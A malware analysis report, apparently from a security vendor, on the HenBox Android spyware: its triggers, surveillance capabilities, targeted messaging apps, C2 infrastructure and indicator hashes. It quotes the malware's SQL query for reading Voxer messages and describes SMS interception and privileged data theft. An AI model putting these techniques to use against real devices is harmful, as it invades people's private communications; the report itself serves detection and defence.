The second method uses intents, broadcasts, and receivers to execute HenBox code. Providing the app has registered an intent to process particular events from the system, and one of said events occurs, HenBox is effectively brought to life through external stimulus from another app on the system broadcasting a request, or the system itself broadcasting a particular event has occurred. These intents are typically defined statically in the app’s AndroidManifest.xml config file; some HenBox variants register further intents from their code at run-time. Once a matching intent is triggered, the respective Receiver code will be executed, leading to other HenBox behaviors being launched, which are described later. Table 4 below lists the intents that are statically registered in this HenBox variant’s AndroidManifest.xml config file, together with a description of what that intent does, and when it would be used. Depending on the intent triggered, one of two Receivers would be called, in this instance they are called Boot or Time but the name is somewhat immaterial.

Receiver Intent Name Description
BootReceiver android.intent.action.BOOT_COMPLETED System notification that the device has finished booting.
android.intent.action.restart A legacy intent used to indicate a system restart.
android.intent.action.SIM_STATE_CHANGED System notification that the SIM card has changed or been removed.
android.intent.action.PACKAGE_INSTALL System notification that the download and eventual installation of an app package is happening (this is deprecated)
android.intent.action.PACKAGE_ADDED System notification that a new app package has been installed on the device, including the name of said package.
com.xiaomi.smarthome.receive_alarm Received notifications from Xiaomi’s smart home IoT devices.
TimeReceiver android.intent.action.ACTION_TIME_CHANGED System notification that the time was set.
android.intent.action.CONNECTIVITY_CHANGE System notification that a change in network connectivity has occurred, either lost or established. Since Android version 7 (Nougat) this information is gathered using other means, perhaps inferring the devices used by potential victim run older versions of Android.

Table 4 HenBox variant’s Intents and Receivers

Most of the intents registered in the AndroidManifest.xml file, or loaded during run-time, are commonly found in malicious Android apps. What’s more interesting, and much less common, is the inclusion of the com.xiaomi.smarthome.receive_alarm intent filter. Xiaomi, a privately owned Chinese electronics and software company, is the 5th largest smart phone manufacturer in the world and also manufactures IoT devices for the home. Most devices can be controlled by Xiaomi’s “MiHome” Android app, which is available on Google Play with between 1,000,000 and 5,000,000 downloads.

Given the nature of connected devices in smart homes, it’s highly likely many of these devices, and indeed the controller app itself, communicate with one another sending status notifications, alerts and so on. Such notifications would be received by the MiHome app or any other, such as HenBox, so long as they register their intent to do so. This could essentially allow for external devices to act as a trigger to execute the malicious HenBox code, or perhaps afford additional data HenBox can collect and exfiltrate.

Either method to load HenBox ultimately results in an instance of a service being launched. This service hides the app from plain sight and loads another ELF library to gather environmental information about the device, such as running processes and apps, and details about device hardware, primarily through parsing system logs and querying running processes. The service continues by loading an ELF, created by Baidu, which is capable of tracking the device location before setting up a monitor to harvest phone numbers associated with outgoing calls for those numbers with a country code “+86” prefix, which relates to the People’s Republic of China.

Further assets are decrypted and deployed, including another Dalvik DEX code file, which has various capabilities including registering itself as the incoming SMS handler for the device to intercept SMS messages, loading another ELF library that includes a version of BusyBox – a package containing various stripped-down Unix tools useful for administering such systems – and, interestingly, is capable of turning off the sound played when the device’s cameras take pictures.

The Android permissions requested by HenBox, as defined in the apps’ AndroidManifest.xml files, range from accessing location and network settings to messages, call, and contact data. HenBox can also access sensors such as the device camera(s) and the microphone.

Beyond the Android app itself, other components such as the aforementioned ELF libraries have additional data-stealing capabilities. One ELF library, libloc4d.so, handles amongst other things the loading of the app-decoded ELF library file “sux”, as well as handling connectivity to the C2.

The sux library appears to be a customized super user (su) tool that includes code from the com.koushikdutta.superuser app and carries the equivalent of a super user (su) binary in order to run privileged commands on the system. The primary goal of sux appears to be steal messages and other data from popular messaging and social media apps specified within the HenBox sample. A similar tool, with the same filename, has been discussed in previous research but the SpyDealer malware appears unrelated to HenBox. More likely, this is a case of common attack tools being re-used between different threat actor groups.

This particular HenBox variant, as listed in Table 3 above, harvests data from two popular messaging and social media apps: Voxer Walkie Talkie Messenger (com.rebelvox.voxer) and Tencent’s WeChat (com.tencent.mm). These types of apps tend to store their data in databases and, as an example, HenBox accesses Voxer’s database from the file “/data/data/com.rebelvox.voxer/databases/rv.db”. Once opened, HenBox runs the following query to gather message information.

select 
messages.timestamp ,messages.sender,messages.body,profiles .first || profiles .last,profiles.profile_username  
from 
messages,conversations left join profiles on messages.sender=profiles.username 
where
messages.thread_id=conversations .thread_id

Not long after this variant was public, newer variants of HenBox were seen, and some had significant increases in the number of targeted apps. Table 5 describes the latest variant seen in AutoFocus.

SHA256 Package Name App Name First Seen
07994c9f2eeeede199dd6b4e760fce3

71f03f3cc4307e6551c18d2fbd024a24f

com.android.henbox 备份 (Backup) January 3rd 2018

Table 5 Recent HenBox variant with updated functionality

Table 6 contains an updated list of targeted apps from which this newer variant of HenBox is capable of harvesting data. Interestingly, the two communication apps described above as being targeted by the HenBox variant listed in Table 3 do not appear in this updated list.

Package Name App Name
com.whatsapp WhatsApp Messenger
com.pugna.magiccall n/a
org.telegram.messenger Telegram
com.facebook.katana Facebook
com.twitter.android Twitter
jp.naver.line.android LINE: Free Calls & Messages
com.instanza.cocovoice Coco
com.beetalk BeeTalk
com.gtomato.talkbox TalkBox Voice Messenger – PTT
com.viber.voip Viber Messenger
com.immomo.momo MOMO陌陌
com.facebook.orca Messenger – Text and Video Chat for Free
com.skype.rover Skype; 3rd party stores only

Table 6 Targeted apps from a newer HenBox variant

Most of these apps are well established and available on Google Play, however, com.skype.rover appears to be available only on third-party app stores. The same is likely to be the case for com.pugna.magiccall but this is unknown currently.

It’s clear to see that the capabilities of HenBox are very comprehensive, both in terms of an Android app with its native libraries and given the amount of data it can glean from a victim. Such data includes contact and location information, phone and message activity, the ability to record from the microphone, camera, and other sensors as well as the capability to access data from many popular messaging and social media apps.

Infrastructure

While investigating HenBox we discovered infrastructure ties to other malware families associated with targeted attacks against Windows users – notable overlaps included PlugX, Zupdax, 9002, and Poison Ivy. The overall image of these ties is below in Figure 5 and paints a picture of an adversary with at least 5 malware families in their toolbox dating back to at least 2015.

henbox_5

Figure 5. HenBox and related malware and C2s

The overlap between the HenBox and 9002 malware families Unit 42 has seen involves three shared C2s between several samples; the first IP below is used for more than half of the HenBox samples we have seen to date:

  • 47.90.81[.]23
  • 222.139.212[.]16
  • lala513.gicp[.]net

The overlaps between the Henbox, PlugX, Zupdax, and Poison Ivy malware families involves a web of shared C2s and IP resolutions centered around the below:

  • 59.188.196[.]172
  • cdncool[.]com (and third-levels of this domain)
  • www3.mefound[.]com
  • www5.zyns[.]com
  • w3.changeip[.]org

Ties to previous activity

The registrant of cdncool[.]com also registered six other domains. To date, Unit 42 has seen four of the seven (the first three in the list below, along with cdncool[.]com) used in malicious activity and it is reasonable to assume the remaining three are or were intended to serve the same purpose.

  • tcpdo[.]net
  • adminsysteminfo[.]com
  • md5c[.]net
  • linkdatax[.]com
  • csip6[.]biz
  • adminloader[.]com

Unit 42 published a blog in July 2016 about 9002 malware being delivered using a combination of shortened links and a file hosted on Google Drive. The spear phishing emails had Myanmar political-themed lures and, if the 9002 C2 server responded, the Trojan sent system specific information along with the string “jackhex”. “jackhex” has also been part of a C2 for what is likely related Poison Ivy activity detailed below, along with additional infrastructure ties.

The C2 for the aforementioned 9002 sample was logitechwkgame[.]com, which resolved to the IP address 222.239.91[.]30. At the same time, the domain admin.nslookupdns[.]com also resolved to the same IP address, suggesting that these two domains are associated with the same threat actors. In addition, admin.nslookupdns[.]com was a C2 for Poison Ivy samples associated with attacks on Myanmar and other Asian countries discussed in a blog published by Arbor Networks in April 2016. Another tie between the activity is the C2 jackhex.md5c[.]net, which was also used as a Poison Ivy C2 in the Arbor Networks blog. “jackhex” is not a common word or phrase and, as noted above, was also seen in the beacon activity with the previously discussed 9002 sample. Finally, since publishing the 9002 blog, Unit 42 has also seen the aforementioned 9002 C2 used as a Poison Ivy C2 with a Myanmar political-themed lure.

In our 9002 blog we noted some additional infrastructure used either as C2s for related Poison Ivy samples, or domain registrant overlap with those C2 domains. When we published that blog Unit 42 hadn’t seen any of the three registrants overlap domains used in malicious activity. Since then, we have seen Poison Ivy samples using third-levels of querlyurl[.]com, lending further credence the remaining two domains, gooledriveservice[.]com and appupdatemoremagic[.]com are or were intended for malicious use.  While we do not have complete targeting, information associated with these Poison Ivy samples, several of the decoy files were in Chinese and appear to be part of a 2016 campaign targeting organizations in Taiwan with political-themed lures.

Conclusion

Typically masquerading as legitimate Android system apps, and sometimes embedding legitimate apps within them, the primary goal of the malicious HenBox appears to be to spy on those who install them. Using similar traits, such as copycat iconography and app or package names, victims are likely socially engineered into installing the malicious apps, especially when available on so-called third-party (i.e. non-Google Play) app stores which often have fewer security and vetting procedures for the apps they host. It’s possible, as with other Android malware, that some apps may also be available on forums, file-sharing sites or even sent to victims as email attachments, and we were only able to determine the delivery mechanism for a handful of the apps we have been able to find.

The hosting locations seen for some HenBox samples, together with the nature of some embedded apps including: those targeted at extremist groups, those who use VPN or other privacy-enabling apps, and those who speak the Uyghur language, highlights the victim profile the threat actors were seeking to attack. The targets and capabilities of HenBox, in addition to the ties to previous activity using four different Windows malware families with political-themed lures against several different South East Asian countries, indicates this activity likely represents an at least three-year-old espionage campaign.

Palo Alto Networks customers are protected by:

AutoFocus customers can investigate this activity using the following tag. To date we believe HenBox is not a shared tool, however, the remainder of malware used by these attackers is shared amongst multiple groups:

Android Hygiene

Update: Keep installed apps updated. Much like patching Operating System and application files on PCs, Android and apps developed for the platform also receive security updates from Google and app developers to remove vulnerabilities and improve features, including security.

Review: App permissions to see what the app is potentially capable of. This can be quite technical, but many permissions are named intuitively describing if they intend to access contacts, messages, or sensors, such as the device microphone or camera. If you the permission seem over the top compared to the described functionality, then don’t install. Also read the app and developer reviews to evaluate their trustworthiness.

Avoid: Third-party app stores that may host pirated versions of paid apps from the Google Play app store, often such apps include unwanted extra features that can access your sensitive data or perform malicious behaviors. Also avoid rooting devices, if possible, as apps could misuse this power.

IOCs

Most recent samples first:

sha256 apk_package_name apk_app_name apk_app_name_en
446734590904c5c44978e4646bbbc629d98236c16e29940b32100c1400aebc88 com.android.henbox 备份 Backup
ea0786bfe145d8c763684a2fdf2eb878da29c1b6ae5aacd1a428c9ffead4bad8 com.android.vivibox 备份服务 Backup service
16bb6ff97999b838a40b66146ff4c39b9c95906f062c6fe1e3077e6e30171a4d com.android.vivibox 备份 Backup
0fa384198ae9550e008e97fa38e8a56c4398fc91e12eddba713966bfed107130 com.android.henbox 备份 Backup
e835e4907c9ff07a3a8281530552eaed97d9dea5b182d24a8db56335bad5213d com.android.cicibox 备份服务 Backup service
9192602e5a3488c322025991ca7abcbdc8f916e08f279004a94cec8eb9f220b4 com.android.vivibox 备份 Backup
9b57ab06650a137a5962b85ca9ae719e9c3956d68938a6a2425dffe8d152941a com.android.webbox 备份服务 Backup service
7bf0e70fb4ffca19880fecdeb7e7e5d0fb4681064a98c71056cbb29c80ed6119 com.android.henbox 备份 Backup
51cfc1a658e63624706a6bb2ed2baa63c588e7ce499bd116a3d5752743fefb54 com.android.henbox 备份 Backup
3417899195780c8186356d49bc53b600b3b0e49aae83d9aeb27e518b6964be04 com.android.henbox 备份 Backup
f0fd8c5f4487df7592e5b7fa02f19f23d3ad43f5aaab84257cc560bf5ea76f1e com.android.henbox 备份 Backup
a6c1da9559d72563848802ed14a7421515009c2a0ffb85aab74c6e42584c222d com.android.cicibox 备份服务 Backup service
bf0ab0362ee39191587921b75ab92bf6da12e377dbfdf4f7a053c1217841bdfc com.android.vivibox 备份服务 Backup service
f5abd5e7e325f16df3e96ff55a19ebf524f40f9ade76003355eb1d68bc084006 com.android.vivibox 备份 Backup
201eca94a9e8023d021a2b4a1517c4e46cd01e3be323bc46660c1c6f42aa6abf com.android.henbox 备份 Backup
7b7887d4ad7cab0c53d6f8557bbdf616985f3434ba536a5683f6fba604151d04 com.android.henbox 备份 Backup
4eb768b52b687de49c7da8845bbd7671e2e076fe64bf23596a409108ef3fbbbc com.android.henbox 备份 Backup
a7cfae9b12542b293d8265770a10946d422736d6f716af17f7b963603e422c51 com.jrzheng.supervpn.view SuperVPN SuperVPN
3c2109adf469bfc6c320ac824355f97a2b0f5ff01891d1affcd1a5b017c97195 com.android.webbox 备份服务 Backup service
2a7e456d2700ba13af48efdcf1f699bf51b6901a3ba5c80c009aaaca86235e5d com.android.henbox 备份 Backup
3d525435cbd88b4f1f97e32e2c6accf7855f4cc576ecbd87ad05a05ddd2d2f79 com.android.vivibox 备份服务 Backup service
5a999904b2f03263a11bcc077ad179333b431fb9e6e8090f371d975ba188e55e com.android.cicibox 备份服务 Backup service
4d1e37e5840e8a4d5ae0f60cf33c593f595af200fbf998c3af809fd0c225c475 com.android.henbox 备份 Backup
3cce965887d4677069cb9160d7c7c122087a5f434e095a9f0848c3e838bca9f5 com.android.henbox 备份 Backup
8095cf4f6aec1983bd9f81ca85c1b27415e200b315f757613afb4f0334c99f0b com.android.henbox 备份 Backup
b098be6fd1859ee70ef123c59d5e2a1db435f990c9378b41af0c005f76ba24f2 com.android.henbox 备份 Backup
56c1e23b12e83573440019084b9ce39f8f5ddd9d6de51edaf1f83e020fc648a0 com.android.cicibox 备份服务 Backup service
75fef2a0f05ae2ad971b01041fd3ed5ceacce306d78930bc2eba190c39799bc7 com.android.henbox 备份 Backup
a3deca8203792d4b34242e8f5d0f7e2e3d054f08d74885ab7ff6f3a6f4b2578a com.android.henbox 备份 Backup
77b6e8cd1e6de9ee22bf0e9d735089ae24134ab955f0975d4febc9ed6b60af38 com.android.henbox 备份 Backup
9f8909b1615aaa0fed38ad27162ccf3437e2eaa59cb0c990261c866f075c4113 com.android.henbox 备份 Backup
7ffc1afd5749e7731f4161a6348205555e5892f1bd3446b6d0c5e7bbaa5917e3 com.android.henbox 备份 Backup
a1644194faac76a1d49fd96b875a3f9026993e9f21f6dbc50dc59aeb5e7dac4b com.android.henbox 备份 Backup
2e4aa7777ba449071b90c0c13b803ddf6c6f10576eb9806acde6c3d1391db463 com.android.henbox 备份 Backup
af2d44e36cc28727e29b0d9aecb4b17534a195faacbf4192ce1483a9bde65edc com.android.henbox 备份 Backup
5010236b481d8d2ebc45ee95154f10ffbb317eced86401486f63276520049896 com.android.henbox 备份 Backup
8de4e886b69046c2942e26d8b2f436695ca27060f6a74c797c620502f87887c9 com.android.henbox 备份 Backup
fed084773542120fe77b880fc136bd20979cddc286b75b651d01aa6e32234b2d com.android.henbox 备份 Backup
43ce0c3e63de64f032ea7d4ca77c4b40b86d57e1d237f771b21c1f9c8f41eafb com.android.henbox 备份 Backup
6e1812f7bf313552bc60b6be5b46bdfd44582775e3cb19cf6a231a903aec508b com.android.henbox 备份 Backup
7774432c67f3d3688a1a1b21edc0a73d9d47990cc1f132663b0010ff4bbd6e87 com.android.henbox 备份 Backup
59ca2754279d9cba40334c35907e2e1fc6fd2888b2c180e5b0b8d73accbb40f2 com.android.henbox 备份 Backup
2c5934db000a2838d42cf705453e29d16f4d4bb462fa65e134ce78b4266cefee com.android.henbox 备份 Backup
e326501a0fb15bf19ac135f501b84caa2587d1fb2cad9e034f1756898686dab4 com.android.henbox 备份 Backup
14f715228acff7d8bad057e4bf996635d76ab41ae25ca8a3f90196caeb241446 com.android.henbox 备份 Backup
2be931f008a9ea62aa35091eb9a5629824e81499ce7a5219101ccd39a02ecdec com.android.henbox 备份 Backup
51db059a833377666f92f64ae1e926b83da8821876c66949e320b55c1a929ff8 com.android.henbox 备份 Backup
dee79253deaaa57af0fddb2c8ec5d4cc0546dfe3c1d05c2916a44a37eef3d9f8 com.android.henbox 备份 Backup
ec2e060ac633978b9b700aa95784255b9796f4fb51c188b1c79d5947df07bf98 com.android.henbox 备份 Backup
a6c7351b09a733a1b3ff8a0901c5bdefdc3b566bfcedcdf5a338c3a97c9f249b com.android.henbox 备份 Backup
ae5598ccb3f2f31d2ec967808988a47d6ce4d1cd5e6808d1194ee93c6400039c com.android.henbox 备份 Backup
6f5e7f6ca2f25667d5fe55d7e8ec1b816d6db8b31cb28dff43b4f2f73d70ecdb com.android.henbox 备份 Backup
4cbb5a0d9b6f64dc9d8dd9aaac5651649e24b2cd7248eb9db32191102559ab9c com.android.henbox 备份 Backup
c375aad52c292b4d5c4efb02a33e2325a27f27158bb13c048f533a2a9d0837fb com.android.henbox 备份 Backup
779b09c61951818e5afb47c369fe9b5fa7b7f6139f589f14b3042b2ac96809d8 com.android.henbox 备份 Backup
7ba216b88f84c9a0ce90ca5500ddc2e80100b23ef3784d133b69870768f1e3bc com.android.henbox 备份 Backup
077239b3bedaa850b82204fdd42e5e45fedc3dfc2f6da5aab04d768370e990fa com.android.henbox 备份 Backup
be548c26d0863b812948a16f982e96557319346fad897f67dc7873108203fdce com.android.henbox 备份 Backup
54366ee485b43cea10624d62247a48b12c1ce35c49295491f7fbb6323c68da7b com.android.henbox 备份 Backup
51714b8f34db94cbd8916374af4d8e63b56ef41fa819d2d697f1a3975a32960e com.android.henbox 备份 Backup
48f38b671847bfba3810b74d1d815c2bb4cc94392b98e1f59f95e748eb410465 com.android.henbox 备份 Backup
d0e58c3e9d881f875532d1bb8bee63e4ac8728458708361f754db97fba6be22e com.android.henbox 备份 Backup
8b78f469f3eda0cb02cfbf5598f0a7449cb63b7181d7fd5037ebb9cb8aff30a4 com.android.henbox 备份 Backup
49556e972a35c9d592bf64ab37056f6da356b2061c1ce269d9c3af73978756d9 com.android.henbox 备份 Backup
1d4dadae0c696fde2fef99eb99188509dc0d5fbac7ee07d4f0d5a92dcc922ad7 com.android.henbox 备份 Backup
3c62d00a9740c49cf01fb7635260ff71e0ac44cf80da749ca4101869120f2233 com.android.henbox 备份 Backup
993692d5540c40614f4da430cf4cea64a7e0e7f950452abae19bf608afdf20a6 com.android.henbox 备份 Backup
3e026154767b6a101d3a852946e9eb3ed1c96662490afe9b601469a8459e325b com.android.henbox 备份 Backup
6a518d29232d3f68aa5c78df4a8d212f924e03379dc2be0a388b3118779fe583 com.android.henbox 备份 Backup
70512a566f33c636ad071d18e82db89f9531a6133be89b7d3f18fc9f7730b078 com.android.henbox 备份 Backup
53238af90efd8531686432245c516db04cd163584a811d6e5835a42fe738fbab com.android.henbox 备份 Backup
2f2277898f34a91a365f1a090d72678768c5e420c8350f340cc4b4602cd8a710 com.android.henbox 备份 Backup
b48edd2270b1aeb014291eb3ac2aaa1d4b7ee4694965d0de2c0978b2feae946d com.android.henbox 备份 Backup
45e7dc9c0e33d4754384365a60604c66d72356a994cbed8e8eab8796cf1579e2 com.android.henbox 备份 Backup
a1e465d905434d5dae3bb7acb7c148ef8ed0d341a6d9121d09adbc126cc3a907 com.android.henbox 备份 Backup
4d437d1ac29b1762cc47f8094a05ab73141d03f9ce0256d200fc691c41d1b6e7 cn.android.setting islamawazi islamawazi
d29646f2c665ef91c360e24242c634ee9051d4ab01cb8f87265088e47f41d690 com.android.henbox 备份 Backup
2345a56d61e052af3265ee0fae47b22f1551ede4eee45bca30ad5fb9fac7a922 com.android.henbox 备份 Backup
44388ec38ee36177d6804d778ee554b2d063db3b88d7480eca6587ff68a15982 com.android.henbox 备份 Backup
286bd20f3ea944703c8c87e66708d6b32046a640863afba7f3c4c72dc28d37d1 cn.android.seting 设置 Setup
7f28caeaa484496f85c80580cd88671961149aae2295c8777becb2970455504c com.android.henbox 备份 Backup
89ef65813bccb8197da4af68ba8f9e8e123f3aad4ed41736f8039ad2c6817a25 com.android.henbox 备份 Backup
1749df47cf37c09a92b6a56b64b136f15ec59c4f55ec835b1e569c88e1c6e684 cn.android.setting 设置 Setup
5f16c23f92a10de59efc9a081e0c79458faa3fabb24a1356dbfff7cea8611a3e com.android.henbox 备份 Backup
66eec9ffa2906e56656e649d5b632526e829d7142a75cd27a006bf82775e8c45 com.android.henbox 备份 Backup
a728c653b9c7be4b058eff329afb826db755fdddc4e10ba67191816db7dbeac0 cn.android.setting 爱奇艺 IQIYI
c4ee98d58d38f6109d843955277f1a37bfb138a14113c6cb38bcb6eb857d4977 cn.android.setting 设置 Setup
577ed81e07b62d9c363c505271d1f2a81592a69e1a60a82fbe8fff16e7d3419d cn.android.setting 设置 Setup
b8f785a6581bf438b1947e498b8f2255607440347d8f8b5cb31f3b98427330e6 cn.android.setting 设置 Setup
5a3c44a6e8c8e02e69caa430f41ec80b94740d099bbcfbf39cf08280fc6e16bb com.android.henbox WJ VPN WJ VPN
184e5cbebef4ee591351cfaa1130d57419f70eb95c6387cb8ec837bd2beb14d6 com.android.henbox 备份 Backup
efa3cd45e576ef8ab22d40fc9814456d06a6eeeaeada829c16122a39cb101dbf com.android.henbox 备份 Backup
9d85be32b54398a14abe988d98386a38ce2d35fff91caf1be367f7e4b510b054 com.android.henbox 备份 Backup
a8ea1140a739b2aeeb838d7fe2c073cb834bce46db22071022bd181a59422af1 com.android.henbox 备份 Backup
80a35bcbce326d05dd74ed05560db41a0f9471c4922fc9fe88d0b1a94c3cb1ae cn.android.setting 设置 Setup
0e31575bf0001d818d87aa134e728f62e7f2d27ff9437897303eb8ae1962a865 cn.android.setting 设置 Setup
d3dd162e7dee6022826e7fef23cb84f17a948d2761013a09943f165f378197e0 cn.android.setting 设置 Setup
3b345ffe7fac9aef0c9e0be3f01e8f9e1f3e0442849cc0e3f979b9866465b6bc cn.android.setting 设置 Setup
0a4f38a83abbbab3a039be95862df7848f28513baa1da52a74a9e6a31f63c9b7 com.android.henbox 备份 Backup
a267176bdc1779b19fde2e38f5f062478e8cf173582e38a26538512d64d85ecd cn.android.setting 设置 Setup
7603126f04e9e7cff828aabc060349d6dfbd76e795df7b0e798b3b0914ad13a0 com.android.henbox 备份 Backup
1da0e30b4b2ad2626a3f069f0f50f81d29b789d41385db26d7c84da3af02cd1c com.android.henbox 备份 Backup
ddea532ef46abb9bfa77acdbd38155d9a92381f777fe4c797967203578aa0966 com.android.henbox 备份 Backup
a89bdb4fd54b9488fd6f2685a4dcfa1c106d4ac9f9fb8f8992e557e306184f1a com.android.henbox 备份 Backup
b0bbcee232f27a1b366f8a7ed1d2c3056f9a67fa70e42c1fa7cfb7c778df8cb5 cn.android.setting 设置 Setup
bf16b9f012e1a0724f95a0e61a8748be3c9fc3fe3bb5a82bf3efd9b8211591fb cn.android.setting 设置 Setup
ad5a6b9ca0389c458dde73a456404634eec473cf5833914c7466af41e23b6ea9 cn.android.setting 设置 Setup
a5d9efae12c9e5913156b5415581678748bdeed25a5767438afadc869d25e0d4 cn.android.setting 设置 Setup
b5598c4a26f3b4a143a413c46935f0506afd7e400ecf4c6ca05595e83d8dc2c7 cn.android.setting 设置 Setup
4f6173659e2c23835228f2e05daacecb618c099878d0028dd9a52b9682de2ac4 cn.android.setting 无秘 No secret
7d8a47cda9367ee31ebf58dd226afc583b34a73476ed5ff1b2b3f2460cd4c339 cn.android.setting uyhl uyhl
b34b09d7b4bee3125ea9b27c128c4239c78d3be95d9d5dff73c68e479353db5b cn.android.setting 设置 Setup
b3413e09ceecc305187d08007ea86f654a451952807e37b8f2dcd14a8127042a cn.android.setting 设置 Setup
718bab91ba29791a494c31783b64ce1fe3d78bcdd6a6f909588e198fbea3b3cf cn.android.setting 设置 Setup
de9d1c68ef9df6dd72455f50d1cdffd76e24a501bbbaa3cacc4aedb74b2f743d cn.android.setting 探探 Explore
55e65d1fba82a21b0ee52435be890279cf7ae747abba7f448a6547ba2ed9666e cn.android.setting 设置 Setup
801d54f829668487c2ed28dc56beb6f156a6100a3be12805e1104fb9f68f6a00 cn.android.setting 设置 Setup
3ffa8ef36934420b08e4139385400da774f61cabe000557ff025af650f2964bb cn.android.setting 设置 Setup
8b4e60160089b6af71e3c555c4bdaa9344b76a5f0dfd1ecc3a6e8c23f0940b2a cn.android.setting 0
b779a7a05c226a14c2f4bad1f22c493a2a9de8b988b01602fbe60d1f6dc2ba8c cn.android.setting 0
4a8c5194183f2a5b593654a29213c6f705f083ddbbff10a0bb1e7695c66a0f89 cn.android.setting 0
775c2dbf6dd7423bd098b216bd6dcf11104e885e451fa95ae64dc18fb54a34c7 cn.android.setting 0
228d1c80a92641c6ba9c9d1e68146e9bb66f02605135c2603db3ace692cc05f2 cn.android.setting 0
4ecf03a1eaa0255340a41e48728be1d50dab724b72f9096a1f537fa578e76d17 cn.android.setting 0
8a28fed36cf0d8640c7086770614e33d3788200bc7b0b408873873cd17e31653 com.android.henbox 0
35b1f11a97dd5c05c87328e2ed4ae5776b84d3ce6cf4cdbc2faa1865dab2e09b cn.android.setting 0
bb91d7bbea783bacd57a92691ebcbb449d9606f2f3bbb77538ec751a8b01d8a9 com.android.henbox 0
011509bb9cde31c0b45c49747ff150abcfa66d283ff986f167bf564bacfded4d com.android.henbox 0
da6d75e996b0bafad782d87c809269ef5ccfa62c938039790333f0f2b4ecafe3 cn.android.setting 0
eb31fc24f727bc6f25b7a90dc86c127099384398b7182ae52d3fe23950e9ed8c com.android.henbox 0
6d441e6b75fa0ea1880937d7c94dbd1caaa210915d386dfb5a01ca22fd813d28 com.android.henbox 0
c153ed3b2ae96cb2ec55294f89180302f89e9dbca6a192eec7bd4f3591b8252e cn.android.seting 0
2510aa8736c5462e8784f1cf494716bb923f97645899c73c56ead1ff58b35499 cn.android.setting 0
0bfbbca56718b5bae7e21613a9884ea80db53aa1eca9cacf5a793e52f6a724e7 com.android.henbox 0
e9da842ccf4a681226577c26e2becea079080a4b6838171c06bb358db132bc5e cn.android.setting 0
20fcff9826373d50abe813d3cb0272bf7b65617196cd4ac8d4646b8fd3256bea cn.android.setting 0
0387baebb2b0c678e46e7291325e91118c53a3206d73c1145c082b10cf6a65f1 cn.android.setting 0
0efaf91842a7e45562e97bda369efa6e14f98bf9d63782ec9c323fa246da549a cn.android.setting 0
cdbd4b98625c4766cbf72f69ce951faf49a13394ea85e7a23188e70a209609be cn.android.seting 0
d4ef4bdea69a248f9792211c4d52882ad6262f7223fc1aa9f328abe50412669f cn.android.setting 0
3db36dc3b21dbd0a9037cda21606d37c1a1dd493346e00e36231a252a14446d6 cn.android.setting 0
92c5fdf61b378e5252b0eb70a5cfd7af2d27c915aece48e32b9c2ba04a5fa5b3 cn.android.setting 0
740a54e1f89cb321d13396987fd26d52c6c66c49894283c6d9889156e063ecb3 com.android.henbox 0
7f76f102ab233528ce3cb111ae3b026cf16b3233c6bf3002de8a0daea3ebc0d7 com.android.henbox 0
153794e424eceaba48e28e7f3333ab0c9c7addeda1c5de7835b191f5f25e4e34 com.android.henbox 备份 Backup
a1bf2f3fcac9d1aae94eb7a6dc37be00185e102e504032f4ffa391ddbd4bd353 com.android.henbox 0
444e73bd1020d08dc2901a041d675db1060815914024855daeddbc201e3ad4ee com.android.henbox 0
f88c84156d8e9fdec6f5c400135277ecd03e4b1d95e7d3b6f5b8c8a77eeb055f cn.android.setting 0
2782265ddd3a0d94d4f2622366b3401002dcfe1a9b99b7cbf6d5e824ff14d728 com.android.henbox 0
efff4243b6143c937509f52dbe7c4e40ceb2eb226f7cc1c96d8cf9f287668e37 cn.android.setting 设置 Setup
000473f7168ebda3de054a126352af81b61dd0be462ae9b3c7ccc0bc5cea7986 cn.android.setting 0
6f0de72ee2df4206102c1ff93955fef07cee84a1ba280ef3eda3db9a7eafb22e cn.android.setting 0
2f7aa05b16d870d34feb1faa62bbfb9c5cffd4a52ea094c66657887b7c7046d4 cn.android.setting 0
198ff17259ad377fae62ca49daaed0d9313831d5a12b16a79dd54045eb6909b8 cn.android.setting 0
88c08e7084d4e0db14fc5fec6c906ff89e68b54df09096d49573b1906dd1ecd2 cn.android.setting 0
5fff623781636b2af95327293f246e0d83b90012f067a8c9e6c2b5869e606465 cn.android.setting 0
a26802ebe8ad4dc076becbc18b32a825cf057ff2059a0742ece86afe6fcb496c com.android.henbox 0
e0427ca401d68c347ef14f65a94735f76238f59710d99c4097e51da23cbb2a6d cn.android.setting 0
cf36fb6f2d4029876f50d6a1eb9eafb13eb0bc6a57e179172ffe67a305f33c41 cn.android.setting 0
d68070f75341ce070b11a4ecda28d80a85303fa102fb4cb84c3dcbf97863bcc5 cn.android.setting 0
60adc526a1bfa8df150c25016d220544671a62820493b66a8467436181b8d224 cn.android.setting 0
0589bed1e3b3d6234c30061be3be1cc6685d786ab3a892a8d4dae8e2d7ed92f7 com.android.henbox DroidVPN DroidVPN
f28761f897e3a0e1dcdb0a993076a1cc48a1b17361d3f401aa917406332a79f1 0
fa5a76e86abb26e48af0b312f056d24000bc969835c40b3f98e5ca7e301b5bee com.android.henbox Uyghurche Kirguzguch Uyghurche Kirguzguch
5808df07cedf15451ab0984e9c60b077602de258319d48cf88b0cc4ca7bb57a0 0
b0e0d35649d6e5405d051580d0c2a7ca5d3eb58f38bd51d0b8b7b98813256ea1 0
2db13b0cdede04b1b050744114e6c849e5e527b37bcd22984b265dff874dd411 0
c6117397a54a1c2fda6efe40b1a209c14834f9ecb82136e06174c16644a59657 0
ed35dab84aa4de72e782aef8cead90688d5c664de878207488828ed16902e828 0
2a7ab147d9e7c7f5349f5f929a2f955fb03b376d29d02d5a41d5e6da31d7cdcf 0
f3d04a7f77498acec86efc8d372c4d6eac591d8030f0a867ab856074e4da1fe6 0

Poison Ivy

d3d5a43a2a4f054d41acf6d5f5c1d4d87c7027d880172c3167eaa19f99db43db

dfcff48fb7ad43940c46430a4cd28d52564ea9b6e40a23ff4324da919a5fb783

12759f7fd01ffdea97954be5404d7e43a3941a7388129e7b6ace85f56b500cd8

26c0349af2b5ffebd01d86eff16a0158bb3ceba9ecb04a0c0bd442bc5736328d

ac8fc264c7ec3cf70836e1bb21f9a20174b04ad49731b8797d7d8bb95cb353e2

3d714e1c02c4baf37008fb2537b02c0c1f524fa49263f3400f97f9ef12f2c907

58246d040c79c2a75729511f09b09ae709fbfbaa0bad6e72751a586f7b37ec5e

c9be192a5acfc3b416dbd3fa800fa63851b3440d4187961978b33cef21aeaaeb

98f16b65b8acd4610077edd92dcb090e3d97f427dbb621827096071ed333b7b4

7cdd37ef4a45afa1b85c87f2a778cf8a7482f7beeee5178856d2f4acfa841135

c9be192a5acfc3b416dbd3fa800fa63851b3440d4187961978b33cef21aeaaeb

